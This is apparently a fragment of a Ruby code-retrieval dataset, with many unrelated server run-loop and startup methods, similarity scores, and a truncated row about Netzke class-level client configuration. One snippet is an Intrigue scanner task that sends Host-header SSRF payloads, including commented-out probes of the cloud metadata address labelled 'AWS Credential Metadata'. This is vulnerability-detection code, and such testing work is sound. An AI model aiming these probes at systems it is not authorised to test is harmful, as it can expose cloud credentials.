Thread.new do\n begin\n load(File.join(ROOT, 'main.rb'))\n rescue\n LOG.puts(\"Exception encountered - #{$!.message}\")\n LOG.puts($!.backtrace.join(\"\\n\"))\n end\n end\n end", "def bind\n EventMachine.run do\n Signal.trap(\"INT\") {\n WORLD.players.each {|p|\n WORLD.unregister(p)\n }\n \n while WORLD.work_thread.waiting > 0\n sleep(0.01)\n end\n \n EventMachine.stop if EventMachine.reactor_running?\n exit\n }\n \n Signal.trap(\"TERM\") {\n EventMachine.stop\n }\n \n EventMachine.start_server(\"0.0.0.0\", @config.port + 1, Calyx::Net::JaggrabConnection) if $cache\n EventMachine.start_server(\"0.0.0.0\", @config.port, Calyx::Net::Connection)\n @log.info \"Ready on port #{@config.port}\"\n end\n end", "def start\n receive(IO.new(3), IO.new(4)) do |f|\n f.when([:call, Array]) do |args|\n method = args[0]\n retype = args[1]\n args = args[2..-1]\n f.send! self.dispatch(method, retype, args)\n exit if Chassis.exit_after_current_dispatch\n f.receive_loop\n end\n \n f.when(:config) do\n f.send! [:result, self.config]\n f.receive_loop\n end\n \n f.when(:api) do\n f.send! [:result, self.api]\n f.receive_loop\n end\n \n f.when(:ping) do\n f.send! :pong\n f.receive_loop\n end\n \n f.when(:quit) do\n exit(0)\n end\n end\n end", "def loop_handle_server_calls\n fail 'not started' if running_state == :not_started\n while running_state == :running\n begin\n an_rpc = @server.request_call\n break if (!an_rpc.nil?) && an_rpc.call.nil?\n active_call = new_active_server_call(an_rpc)\n unless active_call.nil?\n @pool.post(active_call) do |ac|\n c, mth = ac\n begin\n rpc_descs[mth].run_server_method(c, rpc_handlers[mth])\n rescue StandardError\n c.send_status(GRPC::Core::StatusCodes::INTERNAL,\n 'Server handler failed')\n end\n end\n end\n rescue Core::CallError, RuntimeError => e\n # these might happen for various reasonse. The correct behaviour of\n # the server is to log them and continue, if it's not shutting down.\n if running_state == :running\n GRPC.logger.warn(\"server call failed: #{e}\")\n end\n next\n end\n end\n # @running_state should be :stopping here\n @run_mutex.synchronize { transition_running_state(:stopped) }\n GRPC.logger.info(\"stopped: #{self}\")\n end", "def run\n connect = false\n until connect do\n begin\n call { |server| @server = server ; start }\n rescue\n Waves::Logger.error e.to_s\n sleep 1\n end\n connect = true\n end\n end", "def run() end", "def run(function, arguments)\n\t\t\t\taction = function[0]\n\t\t\t\tfunction = function_for(function)\n\n\t\t\t\tself.send(action, function, *arguments)\n\t\t\tend", "def run()\n # first see if we should just exit\n if !ec2_user_data('disable', '').empty?\n info \"disable flag is set, so returning...\\n\\n\"\n return\n end\n\n run_pre_scripts\n\n is_monitor = provides.include?('monitor')\n \n # evaluate our actions\n # this is important as it can both notify us of errors early on,\n # and it also allows the actions to perform any initialization code\n actions\n\n if is_monitor\n monitor_thread = monitor()\n ## TODO: don't just leave this thread dangling, \n ## do something if it crashes!\n end\n \n listener_thread = subscribe(subscribes, instance_id, 10)\n\n # even if we're a monitor, we may provide some other services as well.\n avail_thread = broadcast_availability(provides, 3)\n\n sleep 3\n run_post_scripts\n\n # keep listening...\n listener_thread.join if listener_thread\n avail_thread.join if avail_thread\n end", "def stop\n if @http_server\n # shuts down the server\n @http_server.shutdown\n \n # print goodbye message\n puts\n print_info 'BeEF server stopped'\n end\n end", "def serving_loop\n Thread.new { socket_loop }\n @manager.management_loop\n end", "def run\n return if halted?\n\n http = request.em\n http.callback {\n Benchy.logger.info \"#{name}\\t| #{request.method.upcase} #{request.url} - HTTP #{http.response_header.status}\"\n run\n }\n http.errback {\n Benchy.logger.error \"#{name}\\t| Connection error!\"\n halt # TODO - Make this fail the ping and try again, not halt\n }\n end", "def run_bot\n $bot.run(true)\n trap(\"INT\") { shutdown }\n leave_unknown_servers\n log(\"Bot connected to servers: #{$bot.servers.map{ |id, s| s.name }.join(', ')}.\")\nrescue => e\n fatal(\"Failed to execute bot: #{e}\")\n exit\nend", "def start!\n http_server.start\n self\n end", "def start_handler\n\tend", "def run_application\n if Souffle::Config[:daemonize]\n Souffle::Config[:server] = true\n Souffle::Daemon.daemonize(\"souffle\")\n end\n @app.run\n end", "def run\n info \"Run on node: #{node}\"\n self.status = :running\n node.run self\n end", "def execute\n \n if run?\n Rudy::Routines::Handlers::Depends.execute_all @before, @argv\n \n li \" Executing routine: #{@name} \".att(:reverse), \"\"\n ld \"[this is a generic routine]\" if @routine.empty?\n \n # Re-retreive the machine set to reflect dependency changes\n Rudy::Routines.rescue {\n @machines = Rudy::Machines.list || []\n @@rset = Rudy::Routines::Handlers::RyeTools.create_set @machines\n }\n \n Rudy::Routines.rescue {\n Rudy::Routines::Handlers::Group.authorize rescue nil\n }\n \n if @routine.has_key? :before_local\n handler = Rudy::Routines.get_handler :local\n Rudy::Routines.rescue {\n handler.execute(:local, @routine.delete(:before_local), nil, @@lbox, @argv)\n }\n end\n \n if @routine.has_key? :before_remote\n handler = Rudy::Routines.get_handler :remote\n Rudy::Routines.rescue {\n handler.execute(:remote, @routine.delete(:before_remote), @@rset, @@lbox, @argv)\n }\n end\n end\n \n Rudy::Routines.rescue {\n if Rudy::Routines::Handlers::Disks.mount? @routine\n fake = Hash[:umount => @routine.disks[:mount]]\n Rudy::Routines::Handlers::Disks.execute :umount, fake, @@rset, @@lbox, @argv\n end\n }\n \n li \"Rebooting #{current_group_name}...\"\n @machines.each { |m| m.restart } if run?\n \n 15.times { print '.'; Kernel.sleep 2 }; li $/ # Wait for 30 seconds\n \n Rudy::Routines.rescue {\n if !Rudy::Routines::Handlers::Host.is_running? @@rset\n a = @@rset.boxes.select { |box| !box.stash.instance_running? }\n raise GroupNotRunning, a\n end\n }\n \n # This is important b/c the machines will not \n # have DNS info until after they are running. \n Rudy::Routines.rescue { Rudy::Routines::Handlers::Host.update_dns @@rset }\n \n Rudy::Routines.rescue {\n if !Rudy::Routines::Handlers::Host.is_available? @@rset\n a = @@rset.boxes.select { |box| !box.stash.instance_available? }\n raise GroupNotAvailable, a\n end\n }\n Rudy::Routines.rescue {\n Rudy::Routines::Handlers::Host.set_hostname @@rset \n }\n \n if run?\n # This is the meat of the sandwich\n Rudy::Routines.runner @routine, @@rset, @@lbox, @argv\n \n Rudy::Routines.rescue {\n Rudy::Routines::Handlers::Depends.execute_all @after, @argv\n }\n end\n \n @machines\n end", "def run(args)\n args.each do |arg|\n sleep 1\n end\n {result: \"ok\"}\n end", "def run_script(friendly_name, server)\n audit = server.run_executable(@scripts_to_run[friendly_name])\n audit.wait_for_completed\n end", "def loop_forever; end", "def run\n client.run\n end", "def run\n @logger.info 'Running'\n @thread_status = :running\n\n register_self_with_zk\n register_callbacks\n watch\n loop do\n queue_event = @queue.pop\n GracefulTrap.critical_section(%w(INT TERM), @logger) do\n process_queue_event(\n queue_event[:type],\n queue_event[:value],\n queue_event[:meta]\n )\n end\n end\n @thread_status = :stopped\n end", "def run\n super\n\n uri = _get_entity_name\n opt_target_env = _get_option(\"target_environment\")\n\n payloads = [\n {\n :environment => \"local\",\n :name => \"Localhost\",\n :host => \"127.0.0.1\",\n :path => \"/\",\n :success_regex => /^.*$/\n },\n #{\n # :environment => \"aws\",\n # :name => \"AWS Credential Metadata\",\n # :host => \"169.254.169.254\",\n # :path => \"/latest/meta-data/\",\n # :success_regex => /Code\\\"/\n #},\n #{\n # :environment => \"aws\",\n # :name => \"AWS Host Metadata\",\n # :host => \"169.254.169.254\",\n # :path => \"/latest/meta-data/hostname\",\n # :success_regex => /$.*internal$/\n #},\n #{\n # :environment => \"azure\",\n # :name => \"Azure Metadata\",\n # :host => \"169.254.169.254\",\n # :path => \"/metadata/instance?api-version=2017-08-01\",\n # :success_regex => /compute\\\"/\n #}\n ]\n\n _log \"Starting SSRF Responder server\"\n Intrigue::Task::Server::SsrfResponder.start_and_background\n\n # TODO We should test here for an ignored host header - just send nonsense\n # and see if it behaves the same (returns same content), if so, probably not\n # worth checking\n normal = http_request :get, uri\n #nonsense_response = http_request :get, uri, nil, {\"Host\" => \"-1\"}\n #response = http_request :get, uri, nil, {\"Host\" => \"-1\"}\n\n payloads.each do |payload|\n\n # if we're not checking all, then we should match the desired environment\n if opt_target_env != \"all\"\n unless opt_target_env.split(\",\").include? \"#{payload[:environment]}\"\n _log \"Skipping #{payload[:environment]}, target set to #{opt_target_env.split(\",\")}\"\n next\n end\n end\n\n # make the request and collect the response\n # TODO... handle a trailing slash here\n generated_uri = \"#{uri}#{payload[:path]}\"\n\n # call with the host header, and make sure not to follow redirects (we can end\n # up returning our own creds o_0\n response = http_request :get, generated_uri, nil, {\"Host\" => payload[:host] }, nil, 1\n\n #_log \"Testing payload: #{payload} on #{generated_uri}\"\n\n # check the response for success\n if response &&\n response.body_utf8[0..50] != normal.body[0..50] # && # not the same\n #!(response[\"location\"] =~ /127.0.0.1/) && # redirect... usually useless\n #response.code != \"301\" && # redirect... usually useless\n #response.code != \"302\" && # redirect... usually useless\n #response.code != \"400\" && # sometimes it's a generic 400, useless\n #response.code != \"403\" && # not a 403 (Cloudfront)\n #response.code != \"404\" # not a 404\n\n # only if it matches our success cond.\n unless response.body_utf8.match(payload[:success_regex])\n _log \"Interesting response, but doesn't match our success criteria\"\n _log \"---\"\n _log \"#{response.body_utf8}\"\n _log \"---\"\n next\n end\n\n _log \"SUCCESS!\"\n\n #_set_entity_detail \"host_header_ssrf\", {\n # \"host_header\" => \"#{payload[:host_header]}\",\n # \"code\" => \"#{response.code}\",\n # \"body\" => \"#{response.body_utf8}\"\n #}\n\n # save off enough information to investigate\n ssrf_issue = {\n name: \"Potential #{payload[:environment]} SSRF\",\n type: \"vulnerability\",\n description: \"SSRF on #{uri}\",\n severity: 3,\n status: \"potential\",\n details: {\n uri: \"#{generated_uri}\",\n host_header: \"#{payload[:host]}\",\n code: \"#{response.code}\",\n body: \"#{response.body_utf8.sanitize_unicode}\",\n normal_code: \"#{normal.code}\",\n normal_body: \"#{normal.body.sanitize_unicode}\"\n }\n }\n\n if response.code =~ /^3/\n ssrf_issue[:details][:redirect_location] = response[\"location\"]\n end\n\n _create_issue ssrf_issue\n\n else\n\n _log \"FAIL!\"\n if response\n _log \"Code: #{response.code}\"\n _log \"Response same as normal: #{response.body_utf8[0..199] == normal.body[0..199]}\"\n _log \"Response: #{response.body_utf8[0..79]}\"\n else\n _log \"No response!\"\n end\n\n end\n\n end # end payloads\n\n end", "def run()\n end", "def listen\n em_run do\n end\n end", "def mainLoop\n token = @parser.start\n while token\n token = token.next if \";\" == token.value\n return if token.kind == :eof\n case token.value\n when \"def\"\n if function_ast = @parser.parseDefinition(token)\n if function_code = function_ast.code(@module ,@builder)\n #puts \"Read function definition:\"\n #function_code.dump\n end\n token = function_ast.to\n #puts \"Next Token #{token}\"\n else # Skip token for error recovery.\n token.next\n end\n when \"extern\"\n if proto = @parser.parseExtern(token)\n if function = proto.code(@module ,@builder)\n puts \"Read extern: \"\n function.dump\n end\n token = proto.to\n else # Skip token for error recovery.\n token.next\n end\n else\n # Evaluate a top-level expression into an anonymous function.\n if functionAST = @parser.parseTopLevelExpr(token)\n if function = functionAST.code(@module ,@builder)\n res = @engine.run_function function\n puts \"Evaluated #{functionAST.body} to #{res.to_f(LLVM::Double.type)}\"\n end\n token = functionAST.to\n else # Skip token for error recovery.\n token.next\n end\n end\n end\n end", "def run_all\n deploy_code\n run_test\n end", "def _execute_request(fun, args)\r\n\t\traise 'Store has been closed.' unless @open\r\n\t\t_maybe_reconnect()\r\n\r\n\t\tfailures = 0\r\n\t\tnum_nodes = @nodes.size\r\n\t\twhile failures < num_nodes\r\n\t\t\tbegin\r\n\t\t\t\treturn send(fun, *args)\r\n\t\t\trescue SocketError => message\r\n\t\t\t\t$LOG.warn(\"Error while performing #{fun} on node #{@node_id}: #{message}\")\r\n\t\t\t\t_reconnect()\r\n\t\t\t\tfailures += 1\r\n end\r\n end\r\n\r\n\t\traise VoldemortException.new(\"All nodes are down, #{fun} failed.\")\r\n end", "def run\n log.info(\"Running...\")\n result = run_internal()\n log.info(\"Success! #{result.message}\")\n return result\n end", "def run\n puts \"#{@name} is running.\"\n end", "def start_webserver\n stop_webserver\n Webserver.run!\n end", "def run_all()\n end", "def when_running(*args); end", "def when_running(*args)\n call_engines_method(:when_running, *args)\n end", "def do_run\n ready\n aim\n fire!\n end", "def listen\n trap(\"SIGINT\") { sig_int_received }\n trap(\"SIGTERM\") { abort; exit!(0) }\n trap(\"USR2\") { abort; restart } if Signal.list.has_key?(\"USR2\")\n DRb.start_service(\"druby://127.0.0.1:#{port}\", self)\n stderr.puts \"Spork is ready and listening on #{port}!\"\n stderr.flush\n DRb.thread.join\n end", "def run_many(&block)\n Vedeu::Runtime::MainLoop.start! { yield }\n\n rescue Vedeu::Error::ModeSwitch\n Vedeu::Runtime::Application.restart\n end", "def test_reboot_user_function\n #Call reboot terminal user function located in file\n reboot_terminal @@hostname\n\n #Wait till device completes rebooting\n sleep(15)\n end", "def call_fns(fns, app)\n fns.each {|fn| app.instance_exec(&fn)}\n end" ]
[ "0.7461704", "0.61008304", "0.56610084", "0.55302966", "0.54482913", "0.54448956", "0.54379016", "0.5388982", "0.5388982", "0.53506696", "0.52960145", "0.5288701", "0.5251265", "0.5244282", "0.5244282", "0.5223534", "0.5206386", "0.5201746", "0.51779854", "0.51318", "0.51318", "0.51055187", "0.5098908", "0.50924057", "0.50924057", "0.50807023", "0.5071591", "0.5071591", "0.5071591", "0.5071591", "0.5071591", "0.5071591", "0.5071591", "0.5071591", "0.50686735", "0.5067301", "0.50645477", "0.50605726", "0.5036214", "0.50277835", "0.50277835", "0.50275993", "0.50176346", "0.500688", "0.50062346", "0.4997439", "0.4995037", "0.49745747", "0.4961414", "0.49611378", "0.49517846", "0.494342", "0.49374565", "0.49298537", "0.49269348", "0.49228996", "0.4919524", "0.49163797", "0.49068302", "0.49036077", "0.4901902", "0.4899955", "0.48937678", "0.48932365", "0.4885193", "0.48838305", "0.48835513", "0.4881126", "0.48702535", "0.48622993", "0.48547322", "0.48500502", "0.4846991", "0.48432627", "0.48408955", "0.4839627", "0.48385674", "0.48209065", "0.48143184", "0.48061505", "0.4803623", "0.47996664", "0.47974607", "0.47947595", "0.4792712", "0.47784773", "0.47769758", "0.4776861", "0.47743547", "0.47676492", "0.4765025", "0.47649556", "0.47609237", "0.47545812", "0.4753834", "0.47487438", "0.47362503", "0.47357133", "0.47355425", "0.4733093" ]
0.5973344
2
Classlevel client class config. Note: late evaluation of `client_class` blocks allows us using classlevel configs in those blocks, e.g.: class ConfigurableOnClassLevel < Netzke::Base class_attribute :title self.title = "Default" client_class do |c| c.title = self.title end end ConfigurableOnClassLevel.title = "Overridden"
def client_class_config return @client_class_config if @client_class_config @client_class_config = Netzke::Core::ClientClassConfig.new(self, called_from) (@configure_blocks || []).each do |block, dir| @client_class_config.dir = dir block&.call(@client_class_config) end @client_class_config end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_client_class(cls)\n @@client_class = cls\n end", "def class_constant(superclass=nil, opts={}, &block)\n symc = ((opts && opts[:preserve]) ? (\"#{self.camelcase}Class\") : \"PoolParty#{self.camelcase}Class\").classify\n\n kla=<<-EOE\n class #{symc} #{\"< #{superclass}\" if superclass}\n end\n EOE\n \n Kernel.module_eval kla\n klass = symc.constantize\n klass.module_eval &block if block\n \n klass\n end", "def server_side_config_options\n [:klass, :client_config]\n end", "def defclass\n rule(Stone::AST::Statement::Class).sep('class').identifier(reserved)\n .option(rule.sep('extends').identifier(reserved))\n .ast(class_body)\n end", "def klass_config(output_class)\n @klass_config[output_class] ||= build_klass_config(output_class)\n end", "def included(klass)\n set_config_defaults\n\n klass.class_eval do\n include ::Collapsium::Config\n end\n end", "def def_class(class_t, name,\n lt_t, superclass,\n body, end_t)\n n(:class, [ name, superclass, body ],\n module_definition_map(class_t, name, lt_t, end_t))\n end", "def initialize(client, klass)\n @client = client\n @klass = klass\n\n klass.singleton_methods.each do |name|\n instance_eval <<-EOH, __FILE__, __LINE__ + 1\n def #{name}(*args)\n if args.last.is_a?(::Hash)\n args.last[:client] = @client\n else\n args << { client: @client }\n end\n\n @klass.send(:#{name}, *args)\n end\n EOH\n end\n end", "def local client_class = Client, **opts, &block\n ez.local :seqd, :cseqd, :arcd do |seqd, cseqd, arcd|\n opts = {seq: seqd, cseq: cseqd, arc: arcd, log: log}.merge(opts)\n run_client client_class, **opts do |client|\n if block\n if block.arity == 0\n client.instance_eval(&block)\n else\n yield client\n end\n end\n end\n end\n end", "def client_class\n ActiveSupport::Inflector.constantize(@client_class_name)\n end", "def define_class(class_name, superclazz=Object)\n clazzDef = ClassDef.new\n clazzDef.class_name = class_name\n clazzDef.class_ancestors = superclazz\n return clazzDef\n end", "def initialize(app, client_class_name=\"Client\")\n @app = app\n @client_class_name = client_class_name\n end", "def set_as_the_collection_class\n config = 'config/initializers/hyrax.rb'\n lastmatch = nil\n in_root do\n File.open(config).each_line do |line|\n lastmatch = line if line.match?(/config.collection_model = /)\n end\n content = \" # Injected via `rails g hyrax:collection_resource #{class_name}`\\n\" \\\n \" config.collection_model = '#{class_name}'\\n\"\n\n anchor = lastmatch || \"Hyrax.config do |config|\\n\"\n inject_into_file config, after: anchor do\n content\n end\n end\n end", "def build_subclass(model_class, options)\n ConfiguredBackend.build(self, model_class, options)\n end", "def create_class\n attributes = content['attributes']\n mod.const_set class_name, Class.new(parent_class) {\n attr_accessor(*attributes)\n # include Concerns::Extendable\n }\n end", "def build_class(*args, &block)\n if @class_builder\n @class_builder.call(*args, &block)\n else\n self\n end\n end", "def on_class(node)\n parent = nil\n parent_node = node.children[1]\n\n if parent_node\n parent = evaluate_node(parent_node)\n\n if !parent or !parent.const?\n parent = current_scope.lookup(:const, 'Object')\n end\n end\n\n define_module(node, DefinitionBuilder::RubyClass, :parent => parent)\n end", "def class_eval(*args, &block)\n file, line = __find_caller__(caller())\n $__gen_code__[[file, line]] = {\n :binding => self, \n :kind => :class_eval, \n :code => args[0]\n }\n if block_given?\n $__class_eval__.bind(self).call(&block)\n else\n $__class_eval__.bind(self).call(*args)\n end\n end", "def class_name\n @class_name ||= (@options[:class_name] || @name).to_s.camelize\n end", "def subclass( & block )\n \n add_hook_context( :subclass )\n action( & block ) if block_given?\n \n return self\n\n end", "def child client_class = Client, passive: false, **opts, &block\n ez.child :seqd, :cseqd, :arcd, passive: passive do |seqd, cseqd, arcd|\n opts = {seq: seqd, cseq: cseqd, arc: arcd, log: log}.merge(opts)\n run_client client_class, **opts do |client|\n if block\n if block.arity == 0\n client.instance_eval(&block)\n else\n yield client\n end\n end\n end\n end\n end", "def class_def name, &blk\n class_eval { define_method name, &blk }\n end", "def class_name\n @class_name ||= (options[:class_name] || derive_class_name).to_s\n end", "def class_name\n @class_name ||= (options[:class_name] || derive_class_name).to_s\n end", "def server_side_config_options\n [:eager_loading, :klass]\n end", "def server_side_config_options\n [:eager_loading, :klass]\n end", "def class_def name, &blk\n class_eval { define_method name, &blk }\n end", "def class_def name, &blk\r\n class_eval { define_method name, &blk }\r\n end", "def setup_class\n _config = create_configuration\n @client = Client.new(config: _config)\n _auth_managers = @client.auth_managers\n end", "def initialize(client, options = {})\n self.class_list ||= []\n self.csi_client = client\n self.start_date = get_date_from_options(options[:start_date])\n self.end_date = get_date_from_options(options[:end_date])\n get_class_list(options[:site_id]) unless options.empty?\n end", "def app_class_options(defaults = {})\n APP_DEFAULTS.keys.each do |k|\n class_option_for(k, defaults[k])\n end\n end", "def class_def name, &blk\n class_eval { define_method name, &blk }\n end", "def class_def name, &blk\n class_eval { define_method name, &blk }\n end", "def class_def name, &blk\n class_eval { define_method name, &blk }\n end", "def class_def name, &blk\n class_eval { define_method name, &blk }\n end", "def class_def name, &blk\n class_eval { define_method name, &blk }\n end", "def class_def name, &blk\n class_eval { define_method name, &blk }\n end", "def class_def name, &blk\n class_eval { define_method name, &blk }\n end", "def client_configuration=(value)\n @client_configuration = value\n end", "def target_class_eval(*args, &block)\n target_singleton_class.class_eval(*args, &block)\n end", "def class_eval(*args, &block)\n singleton_class.class_eval(*args, &block)\n end", "def update_options_with_class!(options, klass)\n options[:class] ||= ''\n options[:class] << \" #{klass}\"\n options\n end", "def class_def(name, &blk)\n class_eval { define_method(name, &blk) }\n end", "def class_eval(*args, &block)\r\n metaclass.class_eval(*args, &block)\r\n end", "def class_def( name, &blk )\r\n class_eval { define_method name, &blk }\r\n end", "def create_class_override(method_name, &block)\n internal_create_override method_name, :class, &block \n end", "def nested_class( name, parent, &block )\n unless const_defined?( name ) then\n klass = Class.new( parent )\n klass.class_eval( &block ) if block_given?\n const_set( name , klass )\n end\n return const_get( name )\n end", "def class_eval(*args, &block)\n metaclass.class_eval(*args, &block)\n end", "def class_def( name, &blk )\n class_eval { define_method name, &blk }\n end", "def configurable(klass, key, opts={})\n opts[:key] = key\n opts[:label] ||= key\n Config.configurables ||= {}\n Config.configurables[klass.full_name] ||= []\n Config.configurables[klass.full_name] << opts\n end", "def k_class!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 23 )\n\n\n\n type = K_CLASS\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 345:4: 'class'\n match( \"class\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 23 )\n\n\n end", "def singleton_class_eval &block\n self.singleton_class.class_eval &block\n end", "def class_def name, &blk\n class_eval { define_method name, &blk }\n end", "def class_def name, &blk\n class_eval { define_method name, &blk }\n end", "def on_class(class_node); end", "def append_class_name! options, class_name\n key = options.has_key?('class') ? 'class' : :class \n unless options[key].to_s =~ /(^|\\s+)#{class_name}(\\s+|$)/\n options[key] = \"#{options[key]} #{class_name}\".strip\n end\n options\n end", "def class_def name, &blk\n class_eval { define_method name, &blk }\n end", "def class_def name, &blk\n class_eval { define_method name, &blk }\n end", "def klass\n @klass ||= @options[:klass] || __get_class_value(:klass)\n end", "def singleton_class(&block)\n\t\tif block_given?\n\t\t(class << self; self; end).class_eval(&block)\n\t\tself\n\t\telse\n\t\t(class << self; self; end)\n\t\tend\n\tend", "def class_via(*args, &blk)\n klass = Class.new(*args)\n klass.class_eval(&blk) unless blk.blank?\n return klass\n end", "def on_class(class_node)\n previous_category = nil\n previous_node_end_line = -1\n previous_method_name = nil\n walk_over_nested_class_definition(class_node) do |node, category|\n next unless node.respond_to?(:method_name)\n if previous_category && category != previous_category && node.loc.first_line - previous_node_end_line < 2\n add_offense(node, message: MSG)\n end\n\n if previous_method_name && previous_method_name == node.method_name && node.loc.first_line - previous_node_end_line > 1\n add_offense(node, message: \"Don't Use empty lines between same categories.\")\n end\n previous_category = category\n previous_node_end_line = node.loc.last_line\n previous_method_name = node.method_name\n end\n end", "def call\n define_methods_into(@client)\n define_classes\n end", "def initialize(client_class)\n @splayed = false\n\n @client_class = client_class\n end", "def define_class_method(name, &block)\n (class << self; self; end).instance_eval do\n define_method name, &block\n end\n end", "def class_def(name, &blk)\n class_eval { define_method name, &blk }\n end", "def class_for_json_class(json_class)\n case json_class\n when CHEF_APICLIENT\n Chef::ApiClient\n when CHEF_COOKBOOKVERSION\n Chef::CookbookVersion\n when CHEF_DATABAG\n Chef::DataBag\n when CHEF_DATABAGITEM\n Chef::DataBagItem\n when CHEF_ENVIRONMENT\n Chef::Environment\n when CHEF_NODE\n Chef::Node\n when CHEF_ROLE\n Chef::Role\n when CHEF_SANDBOX\n # a falsey return here will disable object inflation/\"create\n # additions\" in the caller. In Chef 11 this is correct, we just have\n # a dummy Chef::Sandbox class for compat with Chef 10 servers.\n false\n when CHEF_RESOURCE\n Chef::Resource\n when CHEF_RESOURCECOLLECTION\n Chef::ResourceCollection\n when /^Chef::Resource/\n Chef::Resource.find_subclass_by_name(json_class)\n else\n raise JSON::ParserError, \"Unsupported `json_class` type '#{json_class}'\"\n end\n end", "def set hash\n wipe_subclass_client!\n super\n end", "def set hash\n wipe_subclass_client!\n super\n end", "def inherit_type(klass, &block)\n Class.new(klass) do\n class_eval(&block) if block_given?\n end\n end", "def format_class(klass, helper_config)\n @klass_config.delete(klass)\n @config[klass.to_s] = helper_config\n true\n end", "def cloaking_class\n class << self\n self\n end\n end", "def bootstrap_class(class_name)\n if valid_soap_api? class_name\n klass = const_set(class_name.to_sym, Class.new do\n extend Vindicia::Bootstrap::ClassMethods\n end)\n\n klass.client.wsdl.document = determine_wsdl(class_name)\n\n klass.client.wsdl.soap_actions.each do |method|\n bootstrapped_method = bootstrap_method(method)\n klass.module_eval &bootstrapped_method\n end\n end\n end", "def block_class_params\n params.fetch(:block_class, {})\n end", "def class_def!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 90 )\n\n type = CLASS_DEF\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 211:13: 'class'\n match( \"class\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 90 )\n\n end", "def define_class_method(name, &block)\n (class << self; self; end).instance_eval do\n define_method name, &block\n end\n end", "def configure_class(tool_class, given_name = nil)\n return if tool_class.name.nil? || tool_class.instance_variable_defined?(:@__loader)\n\n mod_names = tool_class.name.split(\"::\")\n class_name = mod_names.pop\n parent = parent_from_mod_name_segments(mod_names)\n loader = parent.instance_variable_get(:@__loader)\n name = given_name ? loader.split_path(given_name) : class_name_to_tool_name(class_name)\n\n priority = parent.instance_variable_get(:@__priority)\n words = parent.instance_variable_get(:@__words) + name\n subtool = loader.get_tool(words, priority, tool_class)\n\n remaining_words = parent.instance_variable_get(:@__remaining_words)\n next_remaining = name.reduce(remaining_words) do |running_words, word|\n Loader.next_remaining_words(running_words, word)\n end\n\n tool_class.instance_variable_set(:@__words, words)\n tool_class.instance_variable_set(:@__priority, priority)\n tool_class.instance_variable_set(:@__loader, loader)\n tool_class.instance_variable_set(:@__source, [current_source_from_context])\n tool_class.instance_variable_set(:@__remaining_words, next_remaining)\n tool_class.instance_variable_set(:@__cur_tool, subtool)\n end", "def main_class\n @main_class || default_class\n end", "def configure(silent = false)\n yield(configuration)\n self.client = Client.new(configuration)\n report_ready unless silent\n self.client\n end", "def configure(silent = false)\n yield(configuration)\n self.client = Client.new(configuration)\n report_ready unless silent\n self.client\n end", "def late_binding_class_option(opts, default)\n case opts[:class]\n when String, Symbol\n # Delete :class to allow late binding\n class_name = opts.delete(:class).to_s\n\n if (namespace = opts[:class_namespace]) && !class_name.start_with?('::')\n class_name = \"::#{namespace}::#{class_name}\"\n end\n\n opts[:class_name] ||= class_name\n when Class\n opts[:class_name] ||= opts[:class].name\n end\n\n opts[:class_name] ||= '::' + ((name || '').split(\"::\")[0..-2] + [camelize(default)]).join('::')\n end", "def late_binding_class_option(opts, default)\n case opts[:class]\n when String, Symbol\n # Delete :class to allow late binding\n class_name = opts.delete(:class).to_s\n\n if (namespace = opts[:class_namespace]) && !class_name.start_with?('::')\n class_name = \"::#{namespace}::#{class_name}\"\n end\n\n opts[:class_name] ||= class_name\n when Class\n opts[:class_name] ||= opts[:class].name\n end\n\n opts[:class_name] ||= '::' + ((name || '').split(\"::\")[0..-2] + [camelize(default)]).join('::')\n end", "def subclass(klass, paths: nil, description: nil)\n raise \"Missing description\" unless description\n\n subclass = Class.new(klass)\n subclass.define_singleton_method(:description) { description }\n subclass.define_method(:inspect) { description } if description\n\n ::Simple::Httpd::Reloader.attach(subclass, paths: Array(paths))\n\n subclass\n end", "def circuit_handler_class(klass = nil)\n @circuit_handler_class ||= (klass || CircuitBreaker::CircuitHandler)\n end", "def classes\n kwattr_values(\"class\")\n end", "def client\n @config.send(\"#{config_prefix}_client\")\n end", "def delegate_class(name, class_name, &block)\n require 'delegate'\n wrapper_name = RoleBuilders.mod_name(name)\n klass = private_const_set(wrapper_name, DelegateClass(Object.const_get(class_name.to_s)))\n klass.class_eval(&block)\n klass.send(:include, Surrounded)\n end", "def create_class(name, parent: Object, &block)\n klass = Class.new(parent, &block)\n @managed.const_set(name, klass)\n klass\n end", "def configure(&block)\n self.instance_eval(&block)\n end", "def add_class(name); end", "def add_class(name); end", "def classes(subnet)\n out = []\n subnet['classes'].each do |clas|\n out << %[ class \"#{clas['class']}\" {]\n out << raw_options(clas['raw_options'], 4)\n out << \" }\"\n out << ''\n end if subnet['classes']\n out << ''\n end", "def build(klass)\n deep_copy.tap do |conf|\n conf.klass = klass\n end\n end", "def set_class\n <<-CODE\n _lit = stack_pop();\n t1 = stack_pop();\n SET_CLASS(_lit, t1);\n stack_push(_lit);\n CODE\n end", "def add_class(class_type, name, superclass = 'Object')\n klass = add_class_or_module @classes, class_type, name, superclass\n\n # If the parser encounters Container::Item before encountering\n # Container, then it assumes that Container is a module. This may not\n # be the case, so remove Container from the module list if present and\n # transfer any contained classes and modules to the new class.\n\n RDoc::TopLevel.lock.synchronize do\n mod = RDoc::TopLevel.modules_hash.delete klass.full_name\n\n if mod then\n klass.classes_hash.update mod.classes_hash\n klass.modules_hash.update mod.modules_hash\n klass.method_list.concat mod.method_list\n\n @modules.delete klass.name\n end\n\n RDoc::TopLevel.classes_hash[klass.full_name] = klass\n end\n\n klass\n end", "def client config = {}\n client_config = self.config.merge(config)\n if config.empty? or @config_hash.nil? or (client_config.hash == @config_hash)\n @config_hash = client_config.hash\n url = client_config[:url]\n client_config.delete_if { |k,v| not VALID_CLIENT_OPTIONS.include?(k) }\n client_config[:open_timeout] ||= client_config[:timeout]\n @client ||= RestClient::Resource.new(url, client_config)\n else\n raise ArgumentError, \"Attemping to re-initialize #{self.class}#client with different configuration parameters\"\n end\n end", "def configure(c)\n super\n c.border = false\n c.items = [{\n :region => 